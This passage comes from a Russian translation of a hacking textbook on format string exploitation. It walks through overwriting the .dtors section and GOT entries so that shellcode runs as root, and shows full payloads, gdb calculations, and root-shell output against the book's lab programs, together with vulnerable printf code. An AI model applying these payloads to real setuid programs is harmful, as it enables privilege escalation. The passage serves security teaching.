080483e8 t cleanup
080496b0 b completed.1 080496a4 W data_start
U exit@@GLIBC_2.0 08048380 t frame_dummy
080483b4 T main
080496ac d p.0
U printf@@GLIBC_2.0
reader@hacking:
/booksrc $
Команда nm показывает, что функция cleanup находится по адресу
0x080483e8
(выше выделена полужирным). Кроме того, она показыва- ет, что раздел .dtors начинается в 0x080495ac с __DTOR_LIST__ 2, а закан- чивается в 0x080495b4 на __DTOR_END__ 1. Это означает, что в 0x080495aс должно быть записано значение 0xffffffff, в 0x080495b4 – 0x00000000, а расположенный между ними адрес 0x080495b0 должен содержать адрес функции cleanup() – 0x080483e8.
Команда objdump отображает фактическое содержимое раздела .dtors
(ниже выделен полужирным), хотя и в несколько запутанном виде.
212
0x300 Эксплойты
Первое значение 80495ac просто показывает адрес расположения разде- ла .dtors. Затем показаны фактические байты, но в обратном порядке.
С учетом этого все выглядит корректно.
reader@hacking:/booksrc $ objdump -s -j .dtors ./dtors_sample
./dtors_sample: file format elf32-i386
Contents of section .dtors:
80495ac ffffffff e8830408 00000000 ............
reader@hacking:/booksrc $
Интересная особенность раздела .dtors заключается в том, что в нем разрешена запись. Объектный дамп заголовков подтвердит это, пока- зав, что раздел .dtors не помечен как READONLY.
reader@hacking:/booksrc $ objdump -h ./dtors_sample
./dtors_sample: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 0000002c 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 00000060 08048174 08048174 00000174 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 00000051 080481d4 080481d4 000001d4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 0000000c 08048226 08048226 00000226 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000020 08048234 08048234 00000234 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000008 08048254 08048254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000020 0804825c 0804825c 0000025c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000017 0804827c 0804827c 0000027c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000050 08048294 08048294 00000294 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 000001c0 080482f0 080482f0 000002f0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001c 080484b0 080484b0 000004b0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 000000bf 080484e0 080484e0 000004e0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame 00000004 080485a0 080485a0 000005a0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .ctors 00000008 080495a4 080495a4 000005a4 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dtors 0000000c 080495ac 080495ac 000005ac 2**2
CONTENTS, ALLOC, LOAD, DATA
0x350 Форматные строки
213
17 .jcr 00000004 080495b8 080495b8 000005b8 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dynamic 000000c8 080495bc 080495bc 000005bc 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .got 00000004 08049684 08049684 00000684 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got.plt 0000001c 08049688 08049688 00000688 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .data 0000000c 080496a4 080496a4 000006a4 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000004 080496b0 080496b0 000006b0 2**2
ALLOC
23 .comment 0000012f 00000000 00000000 000006b0 2**0
CONTENTS, READONLY
24 .debug_aranges 00000058 00000000 00000000 000007e0 2**3
CONTENTS, READONLY, DEBUGGING
25 .debug_pubnames 00000025 00000000 00000000 00000838 2**0
CONTENTS, READONLY, DEBUGGING
26 .debug_info 000001ad 00000000 00000000 0000085d 2**0
CONTENTS, READONLY, DEBUGGING
27 .debug_abbrev 00000066 00000000 00000000 00000a0a 2**0
CONTENTS, READONLY, DEBUGGING
28 .debug_line 0000013d 00000000 00000000 00000a70 2**0
CONTENTS, READONLY, DEBUGGING
29 .debug_str 000000bb 00000000 00000000 00000bad 2**0
CONTENTS, READONLY, DEBUGGING
30 .debug_ranges 00000048 00000000 00000000 00000c68 2**3
CONTENTS, READONLY, DEBUGGING
reader@hacking:/booksrc $
Другая интересная особенность раздела .dtors состоит в том, что он есть во всех двоичных модулях, получаемых с помощью компилято- ра GNU C, независимо от наличия в них функций с атрибутом destruc- tor
. Из этого следует, что в программе с уязвимостью форматных строк
fmt_vuln.c должен быть пустой раздел .dtors. Это можно проверить с помощью nm и objdump.
reader@hacking:/booksrc $ nm ./fmt_vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
reader@hacking:/booksrc $ objdump -s -j .dtors ./fmt_vuln
./fmt_vuln: file format elf32-i386
Contents of section .dtors:
8049690 ffffffff 00000000 ........
reader@hacking:/booksrc $
Как видно из листинга, расстояние между _
_DTOR_LIST_
_ и _
_DTOR_END_
_ теперь составляет всего 4 байта, то есть между ними нет адресов. Это подтверждается объектным дампом.
2140x300 Эксплойты
Раздел .dtors доступен для записи, поэтому если в адрес после 0xffffffff записать некоторый адрес памяти, то при завершении программы управление будет передано по этому адресу. Эта запись должна быть выполнена по адресу _
_DTOR_LIST_
_ плюс 4, который равен 0x08049694
(что в данном случае оказывается адресом _
_DTOR_END_
_
).
Если программа выполняется с правами root и
этот адрес удается пере- записать, открывается возможность получить доступ к системе с пра- вами root.
reader@hacking:/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE will be at 0xbffff9ec reader@hacking:/booksrc $
Шелл-код можно поместить в переменную окружения, а адрес вычис- лить обычным путем. Поскольку разность между длинами имен вспо- могательной программы
getenvaddr и уязвимой программы
fmt_vuln.c составляет 2 байта, шелл-код при выполнении
fmt_vuln будет нахо- диться по адресу 0xbffff9ec. Достаточно записать этот адрес в раздел
.dtors по адресу 0x08049694 (ниже выделен полужирным) с помощью уязвимости форматной строки. В приведенном коде используется ме- тод записи коротких целых.
reader@hacking:/booksrc $ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xf9ec - 0xbfff
$2 = 14829
(gdb) quit reader@hacking:/booksrc $ nm ./fmt_vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x96\x04\x08\x94\x96\
x04\x08”)%49143x%4\$hn%14829x%5\$hn
The right way to print user-controlled input:
????%49143x%4$hn%14829x%5$hn
The wrong way to print user-controlled input:
????
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2# whoami root sh-3.2#
Несмотря на то что раздел .dtors не завершается, как положено, ну- левым адресом 0x00000000, адрес шелл-кода все равно воспринимается как функция деструктора, которая будет вызвана при выходе из про- граммы, обеспечив вход в оболочку с правами root.
0x350 Форматные строки
2150x358 Еще одна уязвимость в программе notesearchПомимо уязвимости переполнения буфера программа
notesearch из главы 2
(0х200) страдает также уязвимостью форматной строки (в сле- дующем листинге выделена полужирным).
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) //
Если достигнут конец файла,
return 0; // вернуть 0.
read(fd, note_buffer, note_length); // Прочитать данные заметки.
note_buffer[note_length] = 0; // Завершить строку.
if(search_note(note_buffer, searchstring)) // Если найдена строка
// для поиска,
printf(note_buffer); // вывести заметку.
return 1;
}
Эта функция читает note_buffer из файла и выводит содержимое замет- ки, не применяя собственную форматную строку. Хотя этим буфером нельзя управлять непосредственно из командной строки, уязвимостью можно воспользоваться, если отправить должным образом подготовлен- ные данные в файл с помощью программы
notetaker, а затем открыть за- метку с помощью программы
notesearch. В выводе программа
notetaker используется для создания заметок, с помощью которых можно анали- зировать память в программе
notesearch. В результате выясняется, что восьмой параметр функции располагается в начале буфера.
reader@hacking:/booksrc $ ./notetaker AAAA$(perl -e ‘print “%x.”x10’)
[DEBUG] buffer @ 0x804a008: ‘AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.’
[DEBUG] datafile @ 0x804a070: ‘/var/notes’
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:/booksrc $ ./notesearch AAAA
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78 .
-------[ end of note data ]------- reader@hacking:/booksrc $ ./notetaker BBBB%8\$x
[DEBUG] buffer @ 0x804a008: ‘BBBB%8$x’
[DEBUG] datafile @ 0x804a070: ‘/var/notes’
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:/booksrc $ ./notesearch BBBB
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
216
0x300 Эксплойты
[DEBUG] found a 35 byte note for user id 999
[DEBUG] found a 9 byte note for user id 999
BBBB42424242
-------[ end of note data ]------- reader@hacking:/booksrc $
После того как выяснено относительное расположение данных в памя- ти, для осуществления эксплойта достаточно записать в раздел .dtors адрес шелл-кода.
reader@hacking:/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff9e8
reader@hacking:/booksrc $ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xf9e8 - 0xbfff
$2 = 14825
(gdb) quit reader@hacking:/booksrc $ nm ./notesearch | grep DTOR
08049c60 d __DTOR_END__
08049c5c d __DTOR_LIST__
reader@hacking:/booksrc $ ./notetaker $(printf “\x62\x9c\x04\x08\x60\x9c\
x04\x08”)%49143x%8\$hn%14825x%9\$hn
[DEBUG] buffer @ 0x804a008: ‘b?`?%49143x%8$hn%14825x%9$hn’
[DEBUG] datafile @ 0x804a070: ‘/var/notes’
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:/booksrc $ ./notesearch 49143x
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
[DEBUG] found a 9 byte note for user id 999
[DEBUG] found a 33 byte note for user id 999 21
-------[ end of note data ]------- sh-3.2# whoami root sh-3.2#
0x359 Перезапись глобальной таблицы смещений
Поскольку программа может вызывать функцию из библиотеки совмест- ного доступа многократно, полезно иметь таблицу, содержащую ссыл- ки на все функции. Для этой цели в скомпилированной программе есть еще один специальный раздел – таблица связки подпрограмм (procedure
linkage table, PLT) . Этот раздел состоит из ряда команд перехода, каж-
0x350 Форматные строки
217дая из которых соответствует адресу функции. Он действует как некий трамплин: всякий раз, когда требуется вызвать совместно используемую функцию, управление передается ей через таблицу связки подпрограмм.
Объектный дамп дизассемблированного раздела PLT в программе с уяз- вимостью форматной строки (
fmt_vuln.c) показывает эти команды пе- рехода:
reader@hacking:/booksrc $ objdump -d -j .plt ./fmt_vuln
./fmt_vuln: file format elf32-i386
Disassembly of section .plt:
080482b8 <__gmon_start__@plt-0x10>:
80482b8: ff 35 6c 97 04 08 pushl 0x804976c
80482be: ff 25 70 97 04 08 jmp *0x8049770 80482c4: 00 00 add %al,(%eax)
...080482c8 <__gmon_start__@plt>:
80482c8: ff 25 74 97 04 08 jmp *0x8049774 80482ce: 68 00 00 00 00 push $0x0 80482d3: e9 e0 ff ff ff jmp 80482b8 <_init+0x18>
080482d8 <__libc_start_main@plt>:
80482d8: ff 25 78 97 04 08 jmp *0x8049778 80482de: 68 08 00 00 00 push $0x8 80482e3: e9 d0 ff ff ff jmp 80482b8 <_init+0x18>
080482e8
:
80482e8: ff 25 7c 97 04 08 jmp *0x804977c
80482ee: 68 10 00 00 00 push $0x10 80482f3: e9 c0 ff ff ff jmp 80482b8 <_init+0x18>
080482f8
:
80482f8: ff 25 80 97 04 08 jmp *0x8049780 80482fe: 68 18 00 00 00 push $0x18 8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18>
08048308 :
8048308: ff 25 84 97 04 08 jmp *0x8049784 804830e: 68 20 00 00 00 push $0x20 8048313: e9 a0 ff ff ff jmp 80482b8 <_init+0x18>
reader@hacking:/booksrc $
Одна из этих команд перехода связана с функцией exit(), которая вы- зывается в конце программы. Если команду перехода к функции exit() модифицировать так, чтобы она передавала управление шелл-коду, а не функции exit(), то будет запущена оболочка с правами root. Раз- дел PLT доступен только для чтения:
2180x300 Эксплойты reader@hacking:/booksrc $ objdump -h ./fmt_vuln | grep -A1 “\ .plt\ “
10 .plt 00000060 080482b8 080482b8 000002b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
Если приглядеться к командам перехода (ниже выделены полужир- ным), выяснится, что они осуществляют переход не по адресам, а по указателям на адреса. Например, фактический адрес функции printf() хранится в виде указателя по адресу 0x08049780, а адрес функции exit() хранится по адресу 0x08049784.
080482f8
:
80482f8: ff 25 80 97 04 08 jmp
*0x8049780 80482fe: 68 18 00 00 00 push $0x18 8048303: e9 b0 ff ff ff jmp 80482b8 <_init+0x18>
08048308
:
8048308: ff 25 84 97 04 08 jmp *0x8049784
804830e: 68 20 00 00 00 push $0x20 8048313: e9 a0 ff ff ff jmp 80482b8 <_init+0x18>
Эти адреса находятся в другом особом разделе, называемом глобальной
таблицей смещений (global offset table, GOT) и доступном для записи.
Их можно непосредственно получить, показав с помощью objdump дина- мически перемещаемые объекты в модуле.
reader@hacking:/booksrc $ objdump -R ./fmt_vuln
./fmt_vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT printf
08049784 R_386_JUMP_SLOT exit
reader@hacking:/booksrc $
В результате обнаруживаем адрес функции exit() в глобальной табли- це смещений по адресу 0x08049784 (выделен полужирным). Если запи- сать туда адрес шелл-кода, то программа вызовет шелл-код, считая при этом, что вызывает функцию exit().
Как обычно, шелл-код помещается в переменную окружения, факти- ческий адрес которой легко вычисляется, а его значение записывает- ся с помощью уязвимости форматной строки. На практике шелл-код должен был сохраниться в окружении, то есть надо лишь правильно задать первые 16 байт форматной строки. Для ясности снова прове- дем расчеты для параметров формата %x. В следующем листинге адрес шелл-кода 1 записывается вместо адреса функции exit() 2.
0x350 Форматные строки
219
reader@hacking:/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE will be at 1 0xbffff9ec reader@hacking:/booksrc $ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xf9ec - 0xbfff
$2 = 14829
(gdb) quit reader@hacking:/booksrc $ objdump -R ./fmt_vuln
./fmt_vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT printf
2 08049784 R_386_JUMP_SLOT exit reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x86\x97\x04\x08\x84\
x97\x04\x08”)%49143x%4\$hn%14829x%5\$hn
The right way to print user-controlled input:
????%49143x%4$hn%14829x%5$hn
The wrong way to print user-controlled input:
????
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2# whoami root sh-3.2#
Когда fmt_vuln.c пытается вызвать функцию exit(), она отыскивает адрес exit() в глобальной таблице смещений и переходит туда через та- блицу связки подпрограмм. Поскольку настоящий адрес заменен адре- сом шелл-кода в окружении, запускается оболочка с правами root.
Дополнительное преимущество модификации глобальной таблицы смещений состоит в том то, что записи в ней фиксированы для каждого исполняемого модуля, поэтому на другой машине в такой же програм- ме по тому же адресу будут находиться те же записи.
Умение осуществить запись по любому адресу открывает многочислен- ные возможности для эксплойтов. В принципе для атаки может быть использован любой доступный для записи раздел памяти, в котором есть адреса, определяющие порядок выполнения программы.
0x400 Сетевое взаимодействиеОбщение и язык значительно расширили возможности человеческого общества. С помощью общего языка люди передают знания, координируют действия и обмениваются опытом. Аналогичным образом программы становятся значительно мощнее, обладая возможностью обмениваться данными с другими программами по сети. Подлинная ценность вебброузера не в самой программе, а в ее способности обмениваться данными с вебсерверами.Сетевые функции настолько распространены, что их наличие часто воспринимается как данность. На сетевых
возможностях основаны Ин- тернет и такие приложения, как электронная почта и служба обмена мгновенными сообщениями. Каждое из таких приложений базируется на конкретном сетевом протоколе, но все протоколы используют общие методы сетевого транспорта.
Многие и не догадываются, что сами сетевые протоколы обладают уяз- вимостями. В этой главе мы узнаем, как связывать приложения по сети с помощью сокетов и как бороться с распространенными уязвимостя- ми сетей.